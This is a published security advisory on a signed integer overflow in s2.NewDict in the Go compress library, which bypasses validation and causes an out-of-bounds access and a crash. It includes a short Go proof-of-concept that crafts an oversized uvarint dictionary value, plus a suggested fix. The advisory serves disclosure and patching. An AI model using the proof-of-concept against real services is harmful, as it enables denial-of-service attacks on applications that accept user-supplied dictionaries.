Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

# Signed Integer Overflow in s2.NewDict ## Summary A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV. ## Package - **Name:** `github.com/klauspost/compress/s2` - **Ecosystem:** Go - **Affected versions:** <= v1.18.6 (all versions with `NewDict` function) ## Severity **High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` ## Vulnerability ### Type - CWE-190: Integer Overflow or Wraparound - CWE-787: Out-of-bounds Write (via unsafe.Pointer) ### Description The `NewDict()` function reads a uvarint from dictionary data and converts it to `int`: ```go r, n := binary.Uvarint(dict) // ... d.repeat = int(r) if d.repeat > len(dict) { return nil } ``` When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed. When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`: ```go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer ``` `load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking: ```go func Load32[I Indexer](b []byte, i I) uint32 { return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) } ``` This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced. ## PoC ```go package main import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" ) func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation) src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer } ``` ## Impact - **Denial of Service:** The process crashes immediately with SIGSEGV ## Attack Vector Any application that: 1. Accepts user-supplied S2 dictionary data via `s2.NewDict()` 2. Calls `Dict.Encode()` on any data ≥32 bytes ## Suggested Fix Validate the uvarint value before converting to int: ```go if r > math.MaxInt64 { return nil } d.repeat = int(r) ``` Or use `uint` for the repeat field and validate against `uint(len(dict))`. ## References - Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits) ## Credits Christopher Linke / https://github.com/celinke97/

Source published

20 Oct 2026 14:33:33 UTC

Source modified

20 Oct 2026 14:45:03 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH